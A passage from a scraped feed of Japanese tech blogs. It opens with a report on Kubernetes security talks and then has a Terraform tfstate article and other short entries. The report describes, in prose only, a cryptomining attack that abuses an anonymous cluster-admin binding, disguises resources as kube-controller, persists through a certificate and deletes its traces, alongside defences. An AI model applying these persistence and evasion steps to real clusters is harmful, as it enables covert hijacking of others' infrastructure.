WARNING本セッションは発表者が6月に投稿した記事をもとにしているようなので、併せて読んでいただくと良いかもしれません。また資料中の Pod のマニフェストはそのまま apply するとエラーになるため、ご自身で環境を再現したい方は以下をご利用ください。ケース1:apiVersion: v1kind: Podmetadata: name: method1-podspec: containers: - name: nginx image: nginx:latest securityContext: readOnlyRootFilesystem: true runAsUser: 101 ports: - containerPort: 80 volumeMounts: - mountPath: /var/run name: run - mountPath: /var/cache/nginx name: nginx-cache securityContext: seccompProfile: type: RuntimeDefault volumes: - name: run emptyDir: {} - name: nginx-cache emptyDir: {}ケース2, 3:apiVersion: v1kind: Podmetadata: name: method2-podspec: containers: - name: alpine image: alpine command: - sleep args: - \\"3600\\" securityContext: readOnlyRootFilesystem: true runAsUser: 65534 securityContext: seccompProfile: type: RuntimeDefaultRBACdoors: How Cryptominers Are Exploiting RBAC Misconfigsセッション情報system:anonymous ユーザーに cluster-admin ロールを付与していた場合の攻撃事例を紹介しています。cluster-admin は事前定義された ClusterRole で、クラスタ内のすべてのリソースに対する権限を持っています。system:anonymous は匿名リクエストに対して割り当てられているユーザーです。Kubernetes クラスタに対して認証なしであらゆるリソース操作ができてしまいます。今回の攻撃シナリオは以下の通りです。Kubernetes API Server をスキャンし、設定ミスのあるクラスタを発見DaemonSet としてクリプトマイナー (XMRig) を設置cluster-admin の証明書を作成し、クラスタへの侵害を永続化証明書作成の痕跡を削除興味深い点として、クリプトマイナーを設置する際に ClusterRoleBinding と DaemonSet を作成しますが、リソース名を kube-controller とすることで正規のリソースを偽装しています。運用業務でクラスタ内のリソースを確認したとしても、クリプトマイナーの存在に気づかないかもしれません。リポジトリも kubernetesio/~ のように偽装しています。また今回はCSRを削除していますが、cluster-admin を持っていれば、クラスタ内で行われる検知の回避や防御の無効化も容易にできてしまいます。クラスタとは別のレイヤーで、監査ログの監視などを行う必要があるかもしれません。パブリッククラウドを利用する場合、クラスタ内のセキュリティ対策とクラウド上の監視サービスを併用するのが良さそうです。セッション後半では、取るべきセキュリティ対策について紹介しています。Kubernetes API Server へのアクセスのネットワーク制限--anonymous-auth=false による匿名リクエストを無効化アドミッションコントローラーによる cluster-admin のバインディング禁止検知策として、設定ミスの検知Kubernetes API への攻撃の検知マイニングの検知のそれぞれ3つの対策が挙げられています。設定ミスの対策では、system:anonymous や system:authenticated に付与された権限がないか確認するためのスクリプトが紹介されています。Kubernetes の監査ログを監視することも有効です。Google Cloud の Security Command Center (SCC) には脅威検知の機能がありますが、この機能を利用すれば GKE に対する設定ミスや攻撃を検知できます。(発表者は Google Cloud の方です)マイニングの検知について、IoC (Indicator of Compromise) を利用する方法がセッション内では紹介されています。既知のマルウェアコンテナや悪意のあるバイナリ、攻撃サーバのIPアドレス等と照合することで攻撃を検知します。SCC におけるマイニング検知のベストプラクティスも興味があれば読んでみてください。おわりにいかがだったでしょうか?Kubernetes への攻撃手法を知ることは、(それ自体面白いというのもありますが) リスクベースのセキュリティ対策を検討する上で非常に有用です。このセキュリティ対策はどのような攻撃リスクを軽減してくれるのかこの攻撃が行われた場合、どのセキュリティ対策によって防ぐことができるのかといった観点で考えてみることをお勧めします。Kubernetes クラスタを目指して、皆で取り組んでいきましょう。","link":"https://kyohmizu.hatenablog.com/entry/2023/12/31/040720","isoDate":"2023-12-30T19:07:20.000Z","dateMiliSeconds":1703963240000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Step Functionsを利用してNAT Gatewayを自動作成/削除する","contentSnippet":"概要本記事ではStep Functionsを利用して、Nat Gatewayを自動で作成/削除する方法について記載します。NAT Gatewayは作成しているだけでコストがかかるリソースであり、…","link":"https://qiita.com/ys1/items/abf8daab19f616b3d854","isoDate":"2023-12-29T15:25:41.000Z","dateMiliSeconds":1703863541000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"K8sGPT: Log Analyzer","contentSnippet":"Filter 一覧➜ k8sgpt filters listActive:> ReplicaSet> PersistentVolumeClaim> Service> StatefulSet> Node> Pod> Deployment> Ingress> CronJob> ValidatingWebhookConfiguration> MutatingWebhookConfigurationUnused:> HTTPRoute> HorizontalPodAutoScaler...","link":"https://zenn.dev/tozastation/articles/3e2b9e887639f4","isoDate":"2023-12-28T08:26:54.000Z","dateMiliSeconds":1703752014000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: 概要","contentSnippet":"K8sGPT とはIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptREADME.md の引用ですが、SRE Experience が Analyzerに体系化されており、最も関連性の高い情報を引き出してAIで補完するのに役立つと書かれています。 SRE Experien...","link":"https://zenn.dev/tozastation/articles/737871319fb33b","isoDate":"2023-12-28T07:16:37.000Z","dateMiliSeconds":1703747797000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: Overview","contentSnippet":"What is K8sGPTIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptSRE Experience & AnalyzersA class called Analyzer is d...","link":"https://tozastation.hashnode.dev/k8sgpt-overview","isoDate":"2023-12-28T05:55:08.000Z","dateMiliSeconds":1703742908000,"authorName":"tozastation","authorId":"tozastation"},{"title":"Googleが提供するBIツール「Looker」とは?","contentSnippet":"はじめに 2023年10月30日、Googleが提供するBIツール「Looker」が政府認定クラウドサービス(通称 ISMAP) に認定されました。「Looker」が“政府認定クラウドサービス”に Google提供のBI […]The post Googleが提供するBIツール「Looker」とは? first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-looker/","isoDate":"2023-12-28T00:11:29.000Z","dateMiliSeconds":1703722289000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Neovimで文法に従ってコードを範囲選択するtreemonkey.nvimを作った","contentSnippet":"treemonkey.nvimというプラグインを作りました。treesitterを活用し、カーソル位置に対応するノード(変数とか関数とか)を選択するプラグインです。ノードの開始位置と終了位置に対応するラベルがあるので、自分が選択したい範囲に対応するラベルを選ぶ形式です。","link":"https://blog.atusy.net/2023/12/27/treemonkey-nvim/","isoDate":"2023-12-27T00:00:00.000Z","dateMiliSeconds":1703635200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud 検証環境を頑張りすぎず良い感じに整えた話","contentSnippet":"はじめに こんにちは!Sreake事業部 横尾(@866mfs)です。 3-shakeでは、社員なら誰でもGoogle Cloud の各種サービスを検証できる、検証環境アカウント(ここでは ”test.org” と表記) […]The post Google Cloud 検証環境を頑張りすぎず良い感じに整えた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/make-better-google-cloud-verification/","isoDate":"2023-12-25T23:43:35.000Z","dateMiliSeconds":1703547815000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesのソースコードを読む Kubelet編","contentSnippet":"起動処理Kubeletの起動処理についてソースコードを追っていき、どんな処理をしているのかみていきたいと思います。読むソースコード: バージョン: v1.27.2https://github.…","link":"https://qiita.com/ys1/items/7a455c602424e591fe38","isoDate":"2023-12-25T15:06:41.000Z","dateMiliSeconds":1703516801000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"GitHub Actions で cosign を使って keyless 署名する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 24日目のエントリ記事です。Container image が適切な方法で build されたものかどうかを確認するために署名…","link":"https://qiita.com/yteraoka/items/db13b1dd94fa9e115676","isoDate":"2023-12-24T14:16:16.000Z","dateMiliSeconds":1703427376000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Terraformのtfstateについて考える","contentSnippet":"この記事は3-shake Advent Calendar 2023の23日目の記事となります。3-shakeのカレンダー | Advent Calendar 2023 - QiitaこちらはSRE Tech Talk #6で話した内容に補足したものです。3-shake SRE Tech Talk #6 - connpass資料はこちらとなります。 tfstateとはtfstateの課題tfstateの管理場所をどうするか問題localS3/Google Cloud StorageGitLabTerraform Cloudtfstateを管理するリソースをどう管理する問題aws/gcloud コマンドterraform + local state 管理CloudFormation / Google Deployment Managertfstateをどう分割するか問題環境分離パターンディレクトリ分離パターンbackend-configパターンworkspace環境分離以外の分割をどうするか問題分割する観点プロバイダーで分割管理権限で分割変更頻度で分割依存の方向性で分割tfstate間のリソース参照まとめtfstateとはTerraformが管理しているリソースの状態を表すjson形式のファイルです。tfstateとterraformファイルと実際のリソースの状態を比較して、terraformコマンドが実行されます。一般的には直接変更せずterraform stateコマンドを通して変更を行い、一般ユーザがtfstateに触れることはないです。参考: Backend Configuration - Configuration Language | Terraform | HashiCorp Developertfstateの課題tfstateについて以下の課題があります。それぞれについて見ていきます。tfstateの管理場所tfstateを管理するリソースの管理tfstateの分割tfstateの管理場所をどうするか問題主な保存場所候補としては以下のものがあります。local(デフォルト)クラウドのオブジェクトストレージS3/Google Cloud StorageGitレポジトリ統合GitLabSaaS利用Terraform CloudlocalTerraformのデフォルト保存先です。Terraformを実行する同じディレクトリのterraform.tfstateに保存されます。1人もしくは変更頻度が著しく低い状況など特殊なとき使えるものとなります。git管理して複数人で使うこともできるが、コンフリクトが発生しうるので、チーム開発には向かないです。基本的には複数人でterraformを使用するときは非推奨です。参考: Backend Type: local | Terraform | HashiCorp DeveloperS3/Google Cloud Storage監理するクラウドのオブジェクトストレージに保存する方法です。これが標準的(当社比)なのかなと思っています。オブジェクトストレージなので、権限があればどこからでもアクセスすることができます。それゆえ、同時にTerraformが実行されるので排他ロックの処理が必要となります。S3バックエンドを使用した場合はDynamoDBを使用してstate lockを実現します。Google Cloud Storageは単体でstate lockをサポートしています。tfstateの参照権限をクラウドのIAMで制御する必要があります。参考: Backend Type: s3 | Terraform | HashiCorp Developer参考: Backend Type: gcs | Terraform | HashiCorp DeveloperGitLabGitLabでtfstateを監理することもできます。tfstateを管理するリソースを管理する必要がないことがメリットとなります。(後述します)開発にGitLabを使っている場合、親和性が高い方法となります。参考: GitLab-managed Terraform state | GitLabTerraform CloudGitLabと同様tfstateを管理するリソースを管理する必要がないというところにメリットがあります。月間500 Managed Rsourcesまで無料で使えます。参考: HashiCorp Terraform: Enterprise Pricing, Packages & Featuresweb上からリソース差分の確認できたり、applyが可能です。SaaSにクラウドのリソース情報を預けることに抵抗がない場合は選択肢としては有望です。なおTerraformのStateのドキュメントではこういう記述があり、Terraform Cloudを推奨しているようです。This state is stored by default in a local file named \\"terraform.tfstate\\", but we recommend storing it in Terraform Cloud to version, encrypt, and securely share it with your team.参考: State | Terraform | HashiCorp Developer昔はAWSと連携するためにIAM Userのアクセスキーを使わないといけなかったが、OIDC認証もできるようになったので、よりやりやすくなったかと思います。参考: Terraform Cloud Adds Dynamic Provider Credentials for Vault and Official Cloud Providers参考: Terraform Cloud | Terraform | HashiCorp Developertfstateを管理するリソースをどう管理する問題GitLabやTerraform Cloudを使う場合には起きない問題となります。S3のようなクラウドのオブジェクトストレージを使用する場合は、このS3バケットをどう作るかということが問題となります。コマンドで作る場合、コマンドの管理、terraformで作る場合はそのtfstateはどこに保存するか、そういったことに頭を悩ませます。そこについて考えていきます。以下の方法が考えられます。aws/gcloudコマンドterraform + local state管理CloudFormationaws/gcloud コマンドそもそも作成コマンドしか打たないのであれば、スクリプトをレポジトリに含めておけば良いという考え方はあります。基本的に一度作れば変えることはないので、これで十分という風に割り切ることはできます。ただし、tfstateのバケットだけでなく、CI/CD用のIAM RoleやOIDC認証リソースなども初期リソースとして含めて管理したいというユースケースだと、スクリプト管理では力不足になりうります。terraform + local state 管理オブジェクトストレージをterraformで作る方法です。ただし、tfstateに関してはlocalに保存し、これをgitも管理します。かたくなにterraformを使いたい人に向けな方法となります。デメリットとしては、tfstateもgit管理するのでコミット忘れがあります。また、頻度低いですがterraform自体はローカルで実行せざるを得ないので変更衝突が起きうることです。CloudFormation / Google Deployment Managerクラウドごとにコードを変えないといけない。IaCツールを2種類使うというそこはかとない気持ち悪さはあるというデメリットはありますが、gitでインフラ状態管理しなくてすむというメリットがあります。気持ち悪さだけを克服できるなら無難な選択肢だとは思います。tfstateをどう分割するか問題第一に考えるのが環境の分離。この分離の仕方だけ他とは系統が違うので独立して説明します。一部差分があるだけで、以下のような形でほぼ同じ構成の環境を作ることはよくあります。開発環境ステージング環境本番環境これらについてどう分割するのかを考えていきます。環境分離パターン大きく2つのパターンを利用することが多いです。それぞれ見ていきます。ディレクトリ分離パターンbackend-configパターンディレクトリ分離パターンこれは環境ごとにディレクトリを分割して、環境ディレクトリを実行単位とします。環境の切り替えはディレクトリ移動することで行います。環境ごとの差分が大きいときに使うことが多いです。デメリットとしては環境ごとにリソース定義をそれぞれ書くので記述量が多くなるというのがあります。そのため、可能な限りモジュール化して、なるべくパラメータだけの差分にするようにします。ディレクトリ構成例としては以下の通りです。.├── envs│ ├── dev│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ ├── prd│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ └── stg│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf└── modules ├── vpc │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tf ├── application │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tfbackend-configパターンbackend-configオプションとvars-fileオプションを組み合わせて、環境を切り替えるパターンです。${ENVDIR}/terraform.tfvars に環境ごとの差分パラメータを定義して、${ENVDIR}/backend.tfvars に環境ごとのtfstate保存先を定義します。terraform init で backend.tfvars を切り替えることで環境の切り替えを行います。環境ごとに差分が少ないときに向いています。差分は terraform.tfvars に記述されているパラメータだけなので、記述量が少なくて済みます。ただし差分が多くなるとcount, for_eachで分岐やループを作ることになり読みにくくなるというものがあります。ディレクトリ構成例としては以下のようになります。.├── envs│ ├── dev│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ ├── prd│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ └── stg│ ├── backend.tfvars│ └── terraform.tfvars├── locals.tf├── main.tf├── modules│ └── vpc│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf├── outputs.tf├── provider.tf└── variables.tf設定ではbackendをs3と指定しておき中身はオプションで指定するようにします。terraform { backend \\"s3\\" {}}以下のようにterraform initするたびに適用する環境を切り替えることができる。terraform init --backend-config=${ENVDIR}/backend.tfvars --reconfigureterraform apply --var-file=${ENVDIR}/terraform.tfvarsworkspaceworkspaceは同じような環境を複製するときに使ういます。シングルテナント環境を量産する場合や開発環境を複数作る場合などに使います。環境を切り替える用途には作られてないとドキュメントまでは記載されています。参考: Managing Workspaces - Terraform CLI | Terraform | HashiCorp DeveloperIn particular, organizations commonly want to create a strong separation between multiple deployments of the same infrastructure serving different development stages or different internal teams. In this case, the backend for each deployment often has different credentials and access controls. CLI workspaces within a working directory use the same backend, so they are not a suitable isolation mechanism for this scenario.自分自身がworkspaceを実運用で使ったことがないので多くは語れないです。別でちゃんと使ってから書きたいと思います。参考: State: Workspaces | Terraform | HashiCorp Developer環境分離以外の分割をどうするか問題小さいサービスでは環境を分離するだけでだいたいは問題ないことがおおいですが、terraformを運用していると運用面、管理面でいろいろ課題が出てくると思います。管理するリソースが増えるとplan/applyの時間が増えたり、リソースの見通しが悪くなったりしてきます。特に実行時間が意外に馬鹿にできなかったりします。下手するとplanに数分かかるようになったりします。そのため、ある程度大きくなったらtrstateを分割して、リソースの管理範囲を分割する必要が出てきます。これをどうやって分割するかが自分の中で答えが出ていない出てないし、分脈によって解決策は異なるとは思います。ここで、解決策を考えるうえで、分割するための観点を見ていきましょう。分割する観点分割する観点は以下のようなものがあるかと思います。プロバイダー管理権限変更頻度プロバイダーで分割プロバイダー単位で分割するパターンです。例としてはAWSとDatadogのようにプロバイダーで分割します。プロバイダー間で依存がない場合は分けやすいかと思います。また、プロバイダー間で管理主体が違うことも多いので素直な分け方だとは思います。しかしながら、アプリケーションリソースとアプリケーションの監視を近いところにおいたほうが見通しがよいのではという観点もあるので運用体制にあわせて考えるとよいでしょう。管理権限で分割チームの権限で分割するパターンです。ただし、より堅くするなら、ディレクトリではなくレポジトリ自体も分割して、コードの参照権限も分割する方が望ましい場合もあります。例ネットワーク ⇒ インフラチームアプリケーション ⇒ 開発チーム変更頻度で分割変更をあまりしないリソースを変更が頻繁なリソースと一緒のplan/applyするのは無駄なので変更の頻度でtfstateを分割するパターンもあります。例変更が少ない ⇒ DB/ネットワーク変更が多い ⇒ EC2/ECS依存の方向性で分割少し観点を変えてみます。実際に分割をした場合に問題となるのはtfstate間のリソースの依存が課題になります。tfstate間で相互に依存するようなコードを書くとtarget指定してそれぞれのstateのリソースを作成しなくてはなりません。こうすると管理が煩雑となってしまうので、原則的に片方向だけの依存になるように分割するようにするのが望ましいです。tfstate間のリソース参照terraform_remote_state を使うことで、参照元のTerraformでoutputした内容を別のTerraformで利用することができます。# 参照元 networkアカウントoutput \\"vpc_id\\" { value = aws_vpc.main.id}# 参照先 applicationアカウント# data.terraform_remote_state.network.vpc_id の形式でVPC IDを参照できるdata \\"terraform_remote_state\\" \\"network\\" { backend = \\"s3\\" config { bucket = \\"terraform-tfstate-network-xxxxx\\" key = \\"tfstate\\" region = \\"ap-northeast-1\\" }}まとめ正直tfstateをどう扱うかに正解はないです。サービス規模や性質によって選択は変わります。本当に小さい規模であれば、tfstateを分割せず一つで十分でしょうし、チーム開発せず一人で扱うなら、通常であれば推奨されないtfstateのlocal git管理という手段がふさわしい場合もあります。また、組織やサービスの成長や時間経過によっても最適な選択は変わると思います。大事なのは選んだ技術要素に関しては選定理由を説明できるようにはしておくということです。選定理由及び不採用理由を明確にしておくことで、変更時に最適な選択の助けになるでしょう。","link":"https://blog.masasuzu.net/entry/2023/12/23/000000","isoDate":"2023-12-22T15:00:00.000Z","dateMiliSeconds":1703257200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"testcontainers-scala で快適なインテグレーションテストを実現する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 の 22 日目の記事です。 はじめに私の所属する株式会社スリーシェイクでは、Reckoner というデータパイプライン構築の SaaS を開発しています。https://reckoner.io/「SaaSをつなぐ。業務が変わる。ビジネスが進化する。」直感的なユーザーインターフェイスで、多種多様な SaaS のデータをつなぎ合わせることで、データ活用・データの民主化を実現します。 課題Reckoner では、データの取得・加工・保存部分を Scala で実装しており、データの連携先として、MySQL ...","link":"https://zenn.dev/nomadblacky/articles/173ea1f829eafa","isoDate":"2023-12-22T13:07:06.000Z","dateMiliSeconds":1703250426000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"AWS Network Firewall と NAT ゲートウェイの配置","contentSnippet":"はじめにAWS Network Firewall(以下 NWFW)の導入例を探してアーキテクチャ図を眺めていると,説明されている図によって NAT ゲートウェイ(以下 NATGW)との配置がまちまちであることに気づきます。つまり,プライベート・パブリックサブネットのシンプルな構成の場合,インターネット宛ての通信経路は大別するとプライベートサブネット→ NATGW→ NWFW →インターネットプライベートサブネット→ NWFW → NATGW →インターネットの2種類が存在します。それぞれのアーキテクチャの違いと,どちらを選定すべきかの指針についてまとめます。 1....","link":"https://zenn.dev/toshikish/articles/d7d15cd01a8584","isoDate":"2023-12-22T07:17:39.000Z","dateMiliSeconds":1703229459000,"authorName":"toshikish","authorId":"toshikish"},{"title":"社内チャットツールでGemini Proが使えるようになった話","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、社内チャットツ […]The post 社内チャットツールでGemini Proが使えるようになった話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-pro-introduction/","isoDate":"2023-12-21T08:49:07.000Z","dateMiliSeconds":1703148547000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesに対する理解を高めてKubernetesの「わからない」を減らそう","contentSnippet":"Kubernetes Novice Tokyo #29 で発表したLT資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/300438/\\r動画URL: https://www.youtube.com/watch?v=WZHDlB8P9_4\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md \\r\\rセッション内容の詳しい資料:\\rhttps://bells17.booth.pm/items/3129761\\rhttps://bells17.booth.pm/items/2649601\\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init\\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp\\rhttps://speakerdeck.com/bells17/kube-controller-managerru-men\\rhttps://speakerdeck.com/bells17/kube-proxyru-men\\rhttps://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru\\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive\\rhttps://speakerdeck.com/bells17/introduction-to-csi\\rhttps://speakerdeck.com/bells17/kubelet-and-containers\\rhttps://speakerdeck.com/bells17/cri-spec-and-dockershim-implementation","link":"https://speakerdeck.com/bells17/kubernetesnidui-suruli-jie-wogao-metekubernetesno-wakaranai-wojian-rasou","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"bells17","authorId":"bells17"},{"title":"\uD83D\uDC19 KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","contentSnippet":"『Kubernetes Novice Tokyo』の登壇資料です\\r\\r・Kubernetesのマルチテナントパターンの種類\\r・ArgoCDのAppProjectテナントとNamespacedスコープモード\\r・ArgoCDのテナントが防いでくれる誤った操作の具体例\\r\\rを紹介しました\\r\\rArgoCDのマニフェストの実装例を解説できませんでしたので、ぜひ元記事 (KubernetesのマルチテナントパターンとArgoCDの実践テナント設計) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1737778249021952458","link":"https://speakerdeck.com/hiroki_hasegawa/kubernetesnomarutitenantopatantoargocdnoshi-jian-tenantoshe-ji","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【ArgoCD\uD83D\uDC19】\\"Kubernetes Novice Tokyo\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類ArgoCDのAppProjectテナントとNamespacedスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『KubernetesのマルチテナントパターンとArgoCDの実践テナント設計』ていうテーマで、 Kubernetes Novice Tokyo に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!Kubernetes Novice Tokyo の登壇資料です!キミだけの最強のマルチテナントを作ろう✌️#k8snovicehttps://t.co/qNEhnkA7WZ— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 21, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/12/21/833414","isoDate":"2023-12-21T03:00:00.000Z","dateMiliSeconds":1703127600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"ddc.vimを使ってmakeやGinなどのExコマンドの補完を実現する","contentSnippet":"ddc.vimは自動補完プラグインの1つです。新世代の自動補完プラグイン ddc.vimコマンドライン補完にも対応しており、組込みの補完よりも補完候補のソースやマッチング、ソーティングにおいて、高い柔軟性を持ちます。","link":"https://blog.atusy.net/2023/12/20/ddc-fish-alias-completion/","isoDate":"2023-12-20T00:00:00.000Z","dateMiliSeconds":1703030400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テーブル構造変更に伴う認可・権限管理を設計実装してみて思ったこと","contentSnippet":"※この記事は3-shake Advent Calendar 2023の20日目の記事ですはじめまして、@bayobayo0324 です。株式会社スリーシェイクでクラウド型データ連携ツール「Rec…","link":"https://qiita.com/bayobayo0324/items/a2fcc5eee9930bd2009a","isoDate":"2023-12-19T22:00:39.000Z","dateMiliSeconds":1703023239000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"RでR言語をパースする","contentSnippet":"R言語 Advent Calendar 2023の19日目の記事です。ggplot2で標準偏差付きの折れ線グラフを描く」でした。可視化大事。2023年、ずいぶんとRを触ることが減りました。ftExtraなどのパッケージの更新をほそぼそとやってます。","link":"https://blog.atusy.net/2023/12/19/r-parsed-data/","isoDate":"2023-12-19T00:00:00.000Z","dateMiliSeconds":1702944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 細かい挙動","contentSnippet":"この記事は 3-shake Advent Calendar 2023 19 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能terraform test: 細かい挙動 <- 今ここ はじめに前回の記事では、 terraform test の応用的な機能の紹介をしました。この記事では、 terraform test の挙動について説明します。 terraform test: 細かい挙動 state...","link":"https://zenn.dev/kyohei_saito/articles/eac62818b7217d","isoDate":"2023-12-18T14:58:00.000Z","dateMiliSeconds":1702911480000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesとCoreDNSについて理解する","contentSnippet":"3-shake SRE Tech Talk #8 で発表したLT資料です\\r\\rイベントURL: https://3-shake.connpass.com/event/302755/\\r動画URL: https://www.youtube.com/watch?v=8JbfniqxNQk\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md","link":"https://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"bells17","authorId":"bells17"},{"title":"2023-12-18 SRETT8 Terraform使いがPulumiに入門する","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/2023-12-18-srett8-terraformshi-ikapuluminiru-men-suru","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"VimのOperator待機モードでexclusive motionをinclusiveに使う","contentSnippet":"Vimアドベントカレンダー2023の12/18の記事です。ryoppippiさんによる「Vimで人生が豊かになった話」(2023/12/18 22:25時点で未投稿)atusyによる「Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる」Vimのモーションのinclusive/exclusive、なかなか意識する場面が少ないですね。","link":"https://blog.atusy.net/2023/12/18/vim-convert-exclusive-motions-into-inclusive/","isoDate":"2023-12-18T00:00:00.000Z","dateMiliSeconds":1702857600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 応用機能","contentSnippet":"この記事は 3-shake Advent Calendar 2023 18 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能 <- 今ここterraform test: 細かい挙動 はじめに前回の記事では、 terraform test の基本的な機能の紹介をしました。前回の記事の内容でも十分に terraform module のテストを書くことができると思います。しかし、今回紹介する応用的な機能を使...","link":"https://zenn.dev/kyohei_saito/articles/52ce184522aae9","isoDate":"2023-12-17T14:58:00.000Z","dateMiliSeconds":1702825080000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"AWS Step Functionsを利用してAWSリソースの自動起動停止を行う","contentSnippet":"概要本記事ではStep Functionsを利用して、AWSリソースを自動で起動停止する方法について記載します。主にコスト削減のために、開発環境を夜間停止するなどで利用することを想定しています。今回は以下のようなことを実施する方法について説明しま…","link":"https://qiita.com/ys1/items/21744f39676286b2c321","isoDate":"2023-12-17T14:55:57.000Z","dateMiliSeconds":1702824957000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Inplace pod vertical Scalingについて調べる","contentSnippet":"概要この記事ではKubernetes 1.27で新たに導入されたIn-place pod vertical Scalingに関して調べたことを共有しますIn-place pod vertical…","link":"https://qiita.com/ys1/items/2bd32750977960b7ef33","isoDate":"2023-12-17T14:53:50.000Z","dateMiliSeconds":1702824830000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"個人開発で要件定義、設計をした話","contentSnippet":"現在、個人開発で麻雀戦績管理アプリを作っていて、要件定義や設計について考えたことを共有したいと思います。GitHub 